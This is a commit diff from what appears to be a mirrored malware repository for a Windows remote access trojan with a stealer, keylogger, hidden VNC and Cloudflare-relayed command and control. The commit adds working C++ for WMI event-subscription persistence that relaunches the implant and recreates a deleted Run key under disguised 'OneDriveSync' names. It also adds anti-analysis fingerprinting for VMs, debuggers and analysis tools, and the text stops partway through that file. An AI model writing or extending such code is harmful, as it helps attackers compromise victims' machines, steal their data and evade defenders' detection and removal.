mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
agent: anti-analysis fingerprinting and self-healing WMI persistence
Add a user-mode environment check (CPUID, firmware tables, MAC OUIs, guest drivers, PEB flags, debug-port queries, tool scans) that gates the TCP reconnect backoff. Extend debugger_present() with ProcessDebugObjectHandle (0x1E). Add WMI event subscriptions (T1546.003): a 15-minute timer relaunch plus a Run-key guard that recreates a deleted value, backed by an idempotent Run write that cannot retrigger itself. Document both in the README.
This commit is contained in:
+2
-1
@@ -97,6 +97,7 @@ set(AGENT_SOURCES
|
||||
src/agent/main.cpp
|
||||
src/agent/inject.cpp
|
||||
src/agent/persist.cpp
|
||||
src/agent/persist_wmi.cpp
|
||||
src/hvnc/hvnc.cpp
|
||||
src/ghost/ghost.cpp
|
||||
src/rat/rat.cpp
|
||||
@@ -109,7 +110,7 @@ target_include_directories(agent PRIVATE
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/src/rat"
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/src/agent"
|
||||
)
|
||||
target_link_libraries(agent PRIVATE hvnc_core shell32 shlwapi gdi32 advapi32)
|
||||
target_link_libraries(agent PRIVATE hvnc_core shell32 shlwapi gdi32 advapi32 wbemuuid)
|
||||
|
||||
# Console executable
|
||||
add_executable(console
|
||||
|
||||
@@ -76,6 +76,23 @@ All C2 defaults live in `src/config.h` (generated by `setup.py`), and anything y
|
||||
|
||||
The config holds the host, port, the 16-byte master key, the optional HTTPS exfil URL, and the CDN beacon settings (`HVNC_BEACON_URL`, header, sleep interval). The tracked default points at `127.0.0.1:4444` with a placeholder key, so a fresh checkout builds and runs out of the box.
|
||||
|
||||
The master key persists to `.misery_key` on first build. Later `setup.py` runs reuse it, so a rebuild keeps the same key and agents already deployed keep working. Pass `KEY=` to force a specific key, or `--rotate-key` to generate a fresh one. `.misery_key` is gitignored.
|
||||
|
||||
## Persistence
|
||||
|
||||
Persistence is a separate agent mode, not a runtime behaviour. Run the installed (or built) `agent.exe` with a flag; it registers and exits:
|
||||
|
||||
| Flag | Effect |
|
||||
|---|---|
|
||||
| `--persist` / `--unpersist` | Add/remove the HKCU Run key (T1547.001). Copies the running image to `%APPDATA%\OneDriveSync.exe` under a neutral name and points the Run value at it. |
|
||||
| `--persist-wmi` / `--unpersist-wmi` | Add/remove two WMI event subscriptions (T1546.003): a 15-minute timer that relaunches the copy, and a guard that recreates the Run value if it is deleted. |
|
||||
|
||||
The modes compose: Run key and WMI all reference the same `%APPDATA%` copy, so the on-disk footprint is unchanged. Reinstalling via `--persist-wmi` after a run-key cleanup is exactly why the guard exists; `persist::enable()` skips an identical write, so the guard cannot retrigger itself. `--unpersist-wmi` tears down both subscriptions idempotently.
|
||||
|
||||
## Anti-analysis
|
||||
|
||||
Before the agent connects, the TCP carrier runs a user-mode environment check (`src/evasion/environment.cpp`): CPUID hypervisor bit and brand, SMBIOS/ACPI vendor strings, virtual NIC OUIs, guest driver files, PEB debug flags, debug-port queries, and a process/window/module scan for reverse-engineering tools. A positive result (or a short uptime with few CPUs, a common sandbox heuristic) extends the reconnect backoff from 5s to 15s so a watched environment reports in less eagerly.
|
||||
|
||||
## CDN transport (Cloudflare)
|
||||
|
||||
`setup.py -t https_cdn` switches the agent to HTTPS beaconing instead of raw TCP. It also emits two deploy files: `deploy/worker.js` (Cloudflare Worker redirector) and `deploy/cloudflared-config.yml` (Zero Trust Tunnel).
|
||||
@@ -128,7 +145,7 @@ Tested on Chrome and Edge on Windows 10 / 11 (x64).
|
||||
|
||||
## Layout
|
||||
|
||||
- `src/agent`: agent entry point, C2 client, injector
|
||||
- `src/agent`: agent entry point, C2 client, injector, persistence (Run key + WMI subscriptions)
|
||||
- `src/console`: operator console and listener
|
||||
- `src/payload`: payload DLL, reflective loader, trampoline
|
||||
- `src/stealer`: Misery-derived stealer sources
|
||||
@@ -136,7 +153,7 @@ Tested on Chrome and Edge on Windows 10 / 11 (x64).
|
||||
- `src/ghost`: ghosted browser session
|
||||
- `src/rat`: keylogger and clipboard
|
||||
- `src/transport`: encrypted TCP framing and frame compression
|
||||
- `src/evasion`: indirect-syscall engine and evasion helpers
|
||||
- `src/evasion`: indirect-syscall engine, anti-analysis fingerprinting, evasion helpers
|
||||
- `build/`: out-of-source build directory
|
||||
|
||||
## Licence
|
||||
|
||||
+22
-6
@@ -1,7 +1,7 @@
|
||||
// HVNC agent (implant): services commands and streams frames over an encrypted
|
||||
// carrier. Two carriers, selected at compile time by HVNC_TRANSPORT:
|
||||
// 0 = reverse TCP: persistent socket to the console.
|
||||
// 1 = HTTPS beacon: batched POST/GET to a Cloudflare Worker that relays to
|
||||
// 1 = HTTPS beacon: batched POST to a Cloudflare Worker that relays to
|
||||
// the console. Poll-based, stateless per exchange; see beacon.hpp.
|
||||
// The command dispatch and frame pump are shared; only the carrier differs.
|
||||
// Stealer logic is ported from Misery; HVNC + RAT engines are native.
|
||||
@@ -29,6 +29,8 @@
|
||||
#include "inject.hpp"
|
||||
#include "beacon.hpp"
|
||||
#include "persist.hpp"
|
||||
#include "persist_wmi.hpp"
|
||||
#include "environment.hpp"
|
||||
#include "../config.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
@@ -265,6 +267,7 @@ static void run_tcp_session(const SendFn& send, AgentSession& s, SOCKET sock) {
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
#if HVNC_TRANSPORT == 1
|
||||
// HTTPS beacon carrier: stateless poll loop (transport 1)
|
||||
// ---------------------------------------------------------------------------
|
||||
// The beacon is request/response, not a stream: each poll uploads everything
|
||||
@@ -321,6 +324,7 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
|
||||
syscall::sleep_ms(cfg.sleep_ms);
|
||||
}
|
||||
}
|
||||
#endif // HVNC_TRANSPORT == 1
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Entry point
|
||||
@@ -330,7 +334,11 @@ int main(int argc, char** argv) {
|
||||
// C2 config: CLI overrides env, env overrides the compile-time defaults
|
||||
// baked in from src/config.h (setup.py), so a deployed agent can be
|
||||
// retargeted without a rebuild. CLI: agent <host> [port].
|
||||
// Persistence is its own mode: agent --persist | --unpersist.
|
||||
// Persistence is its own mode: agent --persist | --unpersist adds/removes
|
||||
// the Run key; --persist-wmi | --unpersist-wmi add/remove the WMI event
|
||||
// subscriptions (T1546.003) — a 15-minute relaunch plus a guard that
|
||||
// recreates the Run value if it is deleted. They compose, but all point at
|
||||
// the same %APPDATA% copy, so the on-disk footprint is unchanged.
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--persist") == 0) {
|
||||
printf("[agent] persist: %s\n", persist::enable() ? "ok" : "failed");
|
||||
@@ -340,6 +348,14 @@ int main(int argc, char** argv) {
|
||||
printf("[agent] unpersist: %s\n", persist::disable() ? "ok" : "failed");
|
||||
return 0;
|
||||
}
|
||||
if (strcmp(argv[i], "--persist-wmi") == 0) {
|
||||
printf("[agent] persist-wmi: %s\n", persist_wmi::enable() ? "ok" : "failed");
|
||||
return 0;
|
||||
}
|
||||
if (strcmp(argv[i], "--unpersist-wmi") == 0) {
|
||||
printf("[agent] unpersist-wmi: %s\n", persist_wmi::disable() ? "ok" : "failed");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
{
|
||||
const char* host = nullptr;
|
||||
@@ -388,10 +404,10 @@ int main(int argc, char** argv) {
|
||||
printf("[agent] beacon %s (auth %s)\n", cfg.url.c_str(), cfg.auth_header.c_str());
|
||||
run_beacon_session(cfg, s);
|
||||
#else
|
||||
// Reverse TCP. Anti-analysis self-check: debugger + sandbox heuristics
|
||||
// drive reconnect backoff so a watched/short-uptime environment gets
|
||||
// slower polling.
|
||||
bool sandboxed = syscall::debugger_present();
|
||||
// Reverse TCP. Anti-analysis self-check: debugger + VM + analysis-tool
|
||||
// fingerprint and sandbox heuristics drive reconnect backoff so a
|
||||
// watched/short-uptime environment gets slower polling.
|
||||
bool sandboxed = env::suspicious();
|
||||
uint32_t uptime_s = 0, cpus = 0;
|
||||
if (syscall::query_system_metrics(&uptime_s, &cpus) && uptime_s < 600 && cpus <= 2)
|
||||
sandboxed = true;
|
||||
|
||||
+31
-6
@@ -53,6 +53,18 @@ std::string installed_path() {
|
||||
return utf8_from_wide(full);
|
||||
}
|
||||
|
||||
// Wide, native form of installed_path(). Used by persist_wmi to build the
|
||||
// CommandLineTemplate for the WMI consumer (which needs a real wide path, not
|
||||
// a UTF-8 string the COM layer would mis-read).
|
||||
const std::wstring& installed_path_wide() {
|
||||
static const std::wstring path = []() -> std::wstring {
|
||||
std::wstring dir = appdata_dir();
|
||||
if (dir.empty()) return L"";
|
||||
return dir + L"\\" + kValueName + L".exe";
|
||||
}();
|
||||
return path;
|
||||
}
|
||||
|
||||
bool enable() {
|
||||
// 1. Resolve this process's current image path.
|
||||
wchar_t self[MAX_PATH] = {};
|
||||
@@ -68,16 +80,29 @@ bool enable() {
|
||||
if (!CopyFileW(self, dest.c_str(), FALSE)) return false;
|
||||
}
|
||||
|
||||
// 3. Write the Run value (quoted).
|
||||
// 3. Write the Run value (quoted) only when it differs. Writing a value
|
||||
// that is already present still notifies registry change watchers, and
|
||||
// the WMI Run-key guard reads this as a change, so an unconditional
|
||||
// write would echo into a self-heal loop.
|
||||
std::wstring cmd = L"\"" + dest + L"\"";
|
||||
HKEY hk = nullptr;
|
||||
LONG st = RegOpenKeyExW(HKEY_CURRENT_USER, kRunKey, 0, KEY_SET_VALUE, &hk);
|
||||
LONG st = RegOpenKeyExW(HKEY_CURRENT_USER, kRunKey, 0,
|
||||
KEY_QUERY_VALUE | KEY_SET_VALUE, &hk);
|
||||
if (st != ERROR_SUCCESS) return false;
|
||||
st = RegSetValueExW(hk, kValueName, 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(cmd.c_str()),
|
||||
(DWORD)((cmd.size() + 1) * sizeof(wchar_t)));
|
||||
wchar_t existing[MAX_PATH] = {};
|
||||
DWORD type = 0, sz = sizeof(existing);
|
||||
LONG q = RegQueryValueExW(hk, kValueName, nullptr, &type,
|
||||
reinterpret_cast<BYTE*>(existing), &sz);
|
||||
bool same = q == ERROR_SUCCESS && type == REG_SZ &&
|
||||
sz == (DWORD)((cmd.size() + 1) * sizeof(wchar_t)) &&
|
||||
_wcsicmp(existing, cmd.c_str()) == 0;
|
||||
if (!same) {
|
||||
st = RegSetValueExW(hk, kValueName, 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(cmd.c_str()),
|
||||
(DWORD)((cmd.size() + 1) * sizeof(wchar_t)));
|
||||
}
|
||||
RegCloseKey(hk);
|
||||
return st == ERROR_SUCCESS;
|
||||
return same || st == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool disable() {
|
||||
|
||||
@@ -19,4 +19,7 @@ bool disable();
|
||||
// Full path of the installed copy (empty if enable() never ran).
|
||||
std::string installed_path();
|
||||
|
||||
// Wide form of installed_path(), for COM consumers that need a native string.
|
||||
const std::wstring& installed_path_wide();
|
||||
|
||||
} // namespace hvnc::persist
|
||||
@@ -0,0 +1,291 @@
|
||||
// Event-triggered persistence via WMI (T1546.003). Two permanent subscriptions
|
||||
// in the root\subscription namespace keep the agent alive without a Run key,
|
||||
// dropped file, or scheduled task for EDR to flag:
|
||||
// * a 15-minute timer that launches the installed copy, and
|
||||
// * a Run-key guard that re-runs --persist when the HKCU Run value vanishes,
|
||||
// so removing the Run key alone no longer uninstalls the agent.
|
||||
// enable()/disable() are idempotent and report success/failure so the operator
|
||||
// can verify removal.
|
||||
#include "persist_wmi.hpp"
|
||||
|
||||
#include <windows.h>
|
||||
#include <oleauto.h>
|
||||
#include <wbemidl.h>
|
||||
#include <wchar.h>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "persist.hpp"
|
||||
|
||||
namespace hvnc::persist_wmi {
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr const wchar_t* kNamespaceSubscription = L"root\\subscription";
|
||||
constexpr const wchar_t* kNamespaceCimv2 = L"root\\cimv2";
|
||||
|
||||
// Neutral names, matched to persist::installed_path()'s OneDriveSync copy so a
|
||||
// combined Run key + WMI setup still only ever drops one binary.
|
||||
constexpr const wchar_t* kTimerId = L"OneDriveSyncTimer";
|
||||
constexpr const wchar_t* kFilterName = L"OneDriveSyncMonitoring";
|
||||
constexpr const wchar_t* kConsumerName = L"OneDriveSyncLauncher";
|
||||
constexpr const wchar_t* kGuardFilterName = L"OneDriveSyncRunGuard";
|
||||
constexpr const wchar_t* kGuardConsumerName = L"OneDriveSyncReinstate";
|
||||
|
||||
// Timer fires every 15 minutes: long enough to be quiet, short enough to
|
||||
// relaunch after a reboot or a cleaned Run key.
|
||||
constexpr DWORD kIntervalMs = 15 * 60 * 1000;
|
||||
|
||||
// RegistryKeyChangeEvent fires whenever the Run key changes (value written,
|
||||
// modified, or deleted). The KeyPath is written with doubled backslashes the
|
||||
// way WQL expects.
|
||||
constexpr const wchar_t* kGuardQuery =
|
||||
L"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_CURRENT_USER' "
|
||||
L"AND KeyPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'";
|
||||
|
||||
// RAII COM apartment. CoCreateInstance below fails with CO_E_NOTINITIALIZED
|
||||
// unless the thread initialized COM first; CoUninitialize must run exactly
|
||||
// once, only when this call actually initialized it.
|
||||
class ComInit {
|
||||
public:
|
||||
ComInit()
|
||||
: hr_(CoInitializeEx(nullptr, COINIT_MULTITHREADED)),
|
||||
own_(SUCCEEDED(hr_)) {}
|
||||
~ComInit() { if (own_) CoUninitialize(); }
|
||||
// RPC_E_CHANGED_MODE: an apartment already exists (e.g. the caller ran
|
||||
// CoInitialize). Reuse it rather than fail.
|
||||
bool ok() const { return SUCCEEDED(hr_) || hr_ == RPC_E_CHANGED_MODE; }
|
||||
private:
|
||||
HRESULT hr_;
|
||||
bool own_;
|
||||
};
|
||||
|
||||
void release_class(IUnknown* p) { if (p) p->Release(); }
|
||||
|
||||
// RAII BSTR so alloc/free stays paired even on early returns.
|
||||
class Bstr {
|
||||
public:
|
||||
explicit Bstr(const wchar_t* s) : b_(SysAllocString(s)) {}
|
||||
~Bstr() { if (b_) SysFreeString(b_); }
|
||||
Bstr(const Bstr&) = delete;
|
||||
Bstr& operator=(const Bstr&) = delete;
|
||||
BSTR get() const { return b_; }
|
||||
private:
|
||||
BSTR b_;
|
||||
};
|
||||
|
||||
bool set_str(IWbemClassObject* obj, const wchar_t* name, const wchar_t* value) {
|
||||
VARIANT v;
|
||||
VariantInit(&v);
|
||||
v.vt = VT_BSTR;
|
||||
v.bstrVal = SysAllocString(value);
|
||||
HRESULT hr = obj->Put(name, 0, &v, 0);
|
||||
VariantClear(&v);
|
||||
return SUCCEEDED(hr);
|
||||
}
|
||||
|
||||
bool set_u32(IWbemClassObject* obj, const wchar_t* name, ULONG value) {
|
||||
VARIANT v;
|
||||
VariantInit(&v);
|
||||
v.vt = VT_UI4;
|
||||
v.ulVal = value;
|
||||
HRESULT hr = obj->Put(name, 0, &v, 0);
|
||||
VariantClear(&v);
|
||||
return SUCCEEDED(hr);
|
||||
}
|
||||
|
||||
bool set_bool(IWbemClassObject* obj, const wchar_t* name, bool value) {
|
||||
VARIANT v;
|
||||
VariantInit(&v);
|
||||
v.vt = VT_BOOL;
|
||||
v.boolVal = value ? VARIANT_TRUE : VARIANT_FALSE;
|
||||
HRESULT hr = obj->Put(name, 0, &v, 0);
|
||||
VariantClear(&v);
|
||||
return SUCCEEDED(hr);
|
||||
}
|
||||
|
||||
std::unique_ptr<IWbemServices, void(*)(IUnknown*)>
|
||||
connect(const wchar_t* ns) {
|
||||
IWbemLocator* loc = nullptr;
|
||||
if (FAILED(CoCreateInstance(CLSID_WbemLocator, nullptr, CLSCTX_INPROC_SERVER,
|
||||
IID_IWbemLocator, reinterpret_cast<void**>(&loc))))
|
||||
return { nullptr, release_class };
|
||||
IWbemServices* svc = nullptr;
|
||||
Bstr ns_bstr(ns);
|
||||
HRESULT hr = loc->ConnectServer(ns_bstr.get(), nullptr, nullptr, nullptr,
|
||||
WBEM_FLAG_CONNECT_USE_MAX_WAIT, nullptr, nullptr, &svc);
|
||||
loc->Release();
|
||||
return { SUCCEEDED(hr) ? svc : nullptr, release_class };
|
||||
}
|
||||
|
||||
// Ask the namespace for a class, then hand back a writable instance of it.
|
||||
std::unique_ptr<IWbemClassObject, void(*)(IUnknown*)>
|
||||
spawn(IWbemServices* svc, const wchar_t* cls) {
|
||||
Bstr class_bstr(cls);
|
||||
IWbemClassObject* klass = nullptr;
|
||||
if (FAILED(svc->GetObject(class_bstr.get(), 0, nullptr, &klass, nullptr)))
|
||||
return { nullptr, release_class };
|
||||
IWbemClassObject* inst = nullptr;
|
||||
if (FAILED(klass->SpawnInstance(0, &inst))) {
|
||||
klass->Release();
|
||||
return { nullptr, release_class };
|
||||
}
|
||||
klass->Release();
|
||||
return { inst, release_class };
|
||||
}
|
||||
|
||||
bool put(IWbemServices* svc, IWbemClassObject* inst) {
|
||||
// 0 flags = WBEM_FLAG_CREATE_OR_UPDATE, so enable() re-runs cleanly.
|
||||
return SUCCEEDED(svc->PutInstance(inst, 0, nullptr, nullptr));
|
||||
}
|
||||
|
||||
// Delete by a well-formed object path, treating "not found" as already clean
|
||||
// so disable() stays idempotent.
|
||||
bool del(IWbemServices* svc, const wchar_t* path) {
|
||||
Bstr path_bstr(path);
|
||||
HRESULT hr = svc->DeleteInstance(path_bstr.get(), 0, nullptr, nullptr);
|
||||
return SUCCEEDED(hr) || hr == static_cast<HRESULT>(WBEM_E_NOT_FOUND);
|
||||
}
|
||||
|
||||
// Object-path strings for the named subscription objects. Names are static and
|
||||
// contain no quotes, so the paths are trivially safe to format.
|
||||
std::wstring filter_path(const wchar_t* name) {
|
||||
return std::wstring(L"__EventFilter.Name=\"") + name + L"\"";
|
||||
}
|
||||
std::wstring consumer_path(const wchar_t* name) {
|
||||
return std::wstring(L"CommandLineEventConsumer.Name=\"") + name + L"\"";
|
||||
}
|
||||
|
||||
// One complete subscription: filter + command consumer + binding, all in
|
||||
// root/subscription. Returns false on the first failed write; earlier objects
|
||||
// are left for a later enable() to overwrite, and disable() clears everything.
|
||||
bool install_subscription(IWbemServices* sub, const wchar_t* filter_name,
|
||||
const wchar_t* query, const wchar_t* consumer_name,
|
||||
const wchar_t* cmdline) {
|
||||
auto filter = spawn(sub, L"__EventFilter");
|
||||
if (!filter) return false;
|
||||
set_str(filter.get(), L"Name", filter_name);
|
||||
set_str(filter.get(), L"EventNamespace", kNamespaceCimv2);
|
||||
set_str(filter.get(), L"QueryLanguage", L"WQL");
|
||||
set_str(filter.get(), L"Query", query);
|
||||
if (!put(sub, filter.get())) return false;
|
||||
|
||||
auto consumer = spawn(sub, L"CommandLineEventConsumer");
|
||||
if (!consumer) return false;
|
||||
set_str(consumer.get(), L"Name", consumer_name);
|
||||
set_str(consumer.get(), L"CommandLineTemplate", cmdline);
|
||||
if (!put(sub, consumer.get())) return false;
|
||||
|
||||
auto binding = spawn(sub, L"__FilterToConsumerBinding");
|
||||
if (!binding) return false;
|
||||
std::wstring fp = filter_path(filter_name);
|
||||
std::wstring cp = consumer_path(consumer_name);
|
||||
set_str(binding.get(), L"Filter", fp.c_str());
|
||||
set_str(binding.get(), L"Consumer", cp.c_str());
|
||||
return put(sub, binding.get());
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool enable() {
|
||||
ComInit com;
|
||||
if (!com.ok()) return false;
|
||||
|
||||
// The timer instruction lives in root/cimv2; the subscriptions (filter +
|
||||
// consumer + binding) live in root/subscription.
|
||||
auto timer_svc = connect(kNamespaceCimv2);
|
||||
if (!timer_svc) return false;
|
||||
auto sub_svc = connect(kNamespaceSubscription);
|
||||
if (!sub_svc) return false;
|
||||
|
||||
// 1. Timer: fires __TimerEvent for TimerId every interval.
|
||||
auto timer = spawn(timer_svc.get(), L"__IntervalTimerInstruction");
|
||||
if (!timer) return false;
|
||||
set_str(timer.get(), L"TimerId", kTimerId);
|
||||
set_u32(timer.get(), L"IntervalBetweenEvents", kIntervalMs);
|
||||
set_bool(timer.get(), L"SkipIfPassed", true); // do not replay missed intervals
|
||||
if (!put(timer_svc.get(), timer.get())) return false;
|
||||
|
||||
// 2. Timer subscription: run the installed copy every interval.
|
||||
std::wstring launch_cmd = L"\"" + std::wstring(persist::installed_path_wide()) + L"\"";
|
||||
if (!install_subscription(sub_svc.get(), kFilterName,
|
||||
L"SELECT * FROM __TimerEvent WHERE TimerID='OneDriveSyncTimer'",
|
||||
kConsumerName, launch_cmd.c_str()))
|
||||
return false;
|
||||
|
||||
// 3. Run-key guard: when the Run value is deleted, recreate it. persist::
|
||||
// enable() skips the write when the value already matches, so this
|
||||
// subscription cannot retrigger itself.
|
||||
std::wstring guard_cmd = launch_cmd + L" --persist";
|
||||
return install_subscription(sub_svc.get(), kGuardFilterName, kGuardQuery,
|
||||
kGuardConsumerName, guard_cmd.c_str());
|
||||
}
|
||||
|
||||
bool disable() {
|
||||
ComInit com;
|
||||
if (!com.ok()) return false;
|
||||
|
||||
// Delete in dependency order: bindings first, then consumers, then filters.
|
||||
// Each is idempotent: a missing object is already-clean.
|
||||
bool ok = false;
|
||||
auto sub_svc = connect(kNamespaceSubscription);
|
||||
if (sub_svc) {
|
||||
// Bindings have no stable name; delete by the filter/consumer pairs.
|
||||
Bstr query(L"SELECT * FROM __FilterToConsumerBinding");
|
||||
Bstr wql(L"WQL");
|
||||
IEnumWbemClassObject* enumerator = nullptr;
|
||||
HRESULT hr = sub_svc->ExecQuery(wql.get(), query.get(),
|
||||
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
|
||||
nullptr, &enumerator);
|
||||
if (SUCCEEDED(hr) && enumerator) {
|
||||
// Collect the matching binding paths first (deleting while
|
||||
// enumerating invalidates the cursor).
|
||||
std::wstring fp_timer = filter_path(kFilterName);
|
||||
std::wstring fp_guard = filter_path(kGuardFilterName);
|
||||
std::wstring cp_timer = consumer_path(kConsumerName);
|
||||
std::wstring cp_guard = consumer_path(kGuardConsumerName);
|
||||
std::vector<std::wstring> paths;
|
||||
IWbemClassObject* obj = nullptr;
|
||||
ULONG got = 0;
|
||||
while (SUCCEEDED(enumerator->Next(WBEM_INFINITE, 1, &obj, &got)) && got == 1) {
|
||||
VARIANT filter, consumer;
|
||||
VariantInit(&filter);
|
||||
VariantInit(&consumer);
|
||||
bool matches = SUCCEEDED(obj->Get(L"Filter", 0, &filter, 0, nullptr))
|
||||
&& SUCCEEDED(obj->Get(L"Consumer", 0, &consumer, 0, nullptr))
|
||||
&& filter.vt == VT_BSTR && consumer.vt == VT_BSTR
|
||||
&& (_wcsicmp(filter.bstrVal, fp_timer.c_str()) == 0
|
||||
|| _wcsicmp(filter.bstrVal, fp_guard.c_str()) == 0)
|
||||
&& (_wcsicmp(consumer.bstrVal, cp_timer.c_str()) == 0
|
||||
|| _wcsicmp(consumer.bstrVal, cp_guard.c_str()) == 0);
|
||||
if (matches) {
|
||||
VARIANT rel;
|
||||
VariantInit(&rel);
|
||||
if (SUCCEEDED(obj->Get(L"__RELPATH", 0, &rel, 0, nullptr))
|
||||
&& rel.vt == VT_BSTR && rel.bstrVal) {
|
||||
paths.emplace_back(rel.bstrVal);
|
||||
}
|
||||
VariantClear(&rel);
|
||||
}
|
||||
VariantClear(&filter);
|
||||
VariantClear(&consumer);
|
||||
obj->Release();
|
||||
}
|
||||
enumerator->Release();
|
||||
for (const auto& p : paths) del(sub_svc.get(), p.c_str());
|
||||
}
|
||||
ok = del(sub_svc.get(), consumer_path(kConsumerName).c_str());
|
||||
ok = del(sub_svc.get(), consumer_path(kGuardConsumerName).c_str()) && ok;
|
||||
ok = del(sub_svc.get(), filter_path(kFilterName).c_str()) && ok;
|
||||
ok = del(sub_svc.get(), filter_path(kGuardFilterName).c_str()) && ok;
|
||||
}
|
||||
|
||||
// And remove the timer instruction from its own namespace.
|
||||
auto timer_svc = connect(kNamespaceCimv2);
|
||||
if (timer_svc)
|
||||
ok = del(timer_svc.get(), L"__IntervalTimerInstruction.TimerId=\"OneDriveSyncTimer\"") && ok;
|
||||
return ok;
|
||||
}
|
||||
|
||||
} // namespace hvnc::persist_wmi
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
// Event-triggered persistence via WMI (T1546.003). A permanent subscription in
|
||||
// the root\subscription namespace runs the installed agent copy on a timer,
|
||||
// with no Run key, dropped file, or scheduled task for EDR to flag. enable()/
|
||||
// disable() are idempotent and report success/failure so the operator can
|
||||
// verify removal.
|
||||
namespace hvnc::persist_wmi {
|
||||
|
||||
bool enable();
|
||||
|
||||
bool disable();
|
||||
|
||||
} // namespace hvnc::persist_wmi
|
||||
@@ -0,0 +1,259 @@
|
||||
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
|
||||
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
|
||||
// files, PEB debug flags, debug-port queries, and a process/window/module scan
|
||||
// for reverse-engineering tooling.
|
||||
#include "environment.hpp"
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <cwchar>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "syscall.hpp"
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#include <intrin.h>
|
||||
#else
|
||||
#include <cpuid.h>
|
||||
#endif
|
||||
|
||||
namespace hvnc::env {
|
||||
|
||||
namespace {
|
||||
|
||||
// CPUID regs in EAX/EBX/ECX/EDX order (index 0-3), like __cpuidex.
|
||||
void cpuid(uint32_t leaf, uint32_t out[4]) {
|
||||
__cpuidex(reinterpret_cast<int*>(out), static_cast<int>(leaf), 0);
|
||||
}
|
||||
|
||||
// Leaf 1 ECX bit 31 = hypervisor-present bit.
|
||||
bool cpu_vm_hint() {
|
||||
uint32_t r[4] = {};
|
||||
cpuid(1, r);
|
||||
return (r[2] & (1u << 31)) != 0;
|
||||
}
|
||||
|
||||
char brand_str[13]; // hypervisor CPUID brand (leaf 0x40000000, 12 bytes + NUL)
|
||||
|
||||
const char* hypervisor_brand() {
|
||||
uint32_t r[4] = {};
|
||||
cpuid(0x40000000, r);
|
||||
std::memcpy(brand_str, &r[1], 4); // EBX
|
||||
std::memcpy(brand_str + 4, &r[2], 4); // ECX
|
||||
std::memcpy(brand_str + 8, &r[3], 4); // EDX
|
||||
brand_str[12] = 0;
|
||||
return brand_str;
|
||||
}
|
||||
|
||||
bool brand_is_known(const char* brand) {
|
||||
static const char* known[] = {
|
||||
"VMwareVMware", "VBoxVBoxVBox", "KVMKVMKVM", "Microsoft Hv",
|
||||
"XenVMMXenVMM", "TCGTCGTCG",
|
||||
};
|
||||
for (auto* k : known)
|
||||
if (std::strcmp(brand, k) == 0) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Scan a raw firmware table dump for a case-insensitive ASCII token.
|
||||
bool firmware_has_token(const std::vector<uint8_t>& data, const char* token) {
|
||||
const size_t tlen = std::strlen(token);
|
||||
if (tlen == 0 || tlen > data.size()) return false;
|
||||
for (size_t i = 0; i + tlen <= data.size(); i++) {
|
||||
bool match = true;
|
||||
for (size_t j = 0; j < tlen; j++) {
|
||||
char cur = static_cast<char>(data[i + j]);
|
||||
if (cur >= 'a' && cur <= 'z') cur = static_cast<char>(cur - 32);
|
||||
if (cur != token[j]) { match = false; break; }
|
||||
}
|
||||
if (match) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// SMBIOS ('RSMB') / ACPI ('DSDT') dumps carry the vendor strings the big
|
||||
// hypervisors stamp during install. Binary scan, no table parsing needed.
|
||||
bool firmware_vm_tokens() {
|
||||
static const char* tokens_rsmb[] = {
|
||||
"VMWARE", "VBOX", "INNOTEK", "QEMU", "BOCHS", "PARALLELS", "XEN",
|
||||
};
|
||||
static const char* tokens_dsdt[] = {
|
||||
"VMWARE", "VBOX", "QEMU", "Bochs",
|
||||
};
|
||||
constexpr DWORD kProviderSmbios = 0x52534D42; // 'RSMB'
|
||||
constexpr DWORD kProviderAcpi = 0x41435049; // 'ACPI'
|
||||
constexpr DWORD kTableDsdt = 0x44534454; // 'DSDT'
|
||||
|
||||
DWORD sz = GetSystemFirmwareTable(kProviderSmbios, 0, nullptr, 0);
|
||||
if (sz != 0) {
|
||||
std::vector<uint8_t> buf(sz);
|
||||
if (GetSystemFirmwareTable(kProviderSmbios, 0, buf.data(), sz) >= sz) {
|
||||
for (auto* t : tokens_rsmb)
|
||||
if (firmware_has_token(buf, t)) return true;
|
||||
}
|
||||
}
|
||||
sz = GetSystemFirmwareTable(kProviderAcpi, kTableDsdt, nullptr, 0);
|
||||
if (sz != 0) {
|
||||
std::vector<uint8_t> buf(sz);
|
||||
if (GetSystemFirmwareTable(kProviderAcpi, kTableDsdt, buf.data(), sz) >= sz) {
|
||||
for (auto* t : tokens_dsdt)
|
||||
if (firmware_has_token(buf, t)) return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// OUI prefixes Microsoft, Oracle, VMware, QEMU, Xen and Parallels assign to
|
||||
// their virtual NICs. Randomize-all clients (or VPN tunnels) break this, but
|
||||
// it still catches the default guest images most sandboxes run from.
|
||||
bool mac_is_vm_oui(const uint8_t* mac, size_t len) {
|
||||
if (len < 3) return false;
|
||||
struct VM_OUI { uint8_t o0, o1, o2; } known[] = {
|
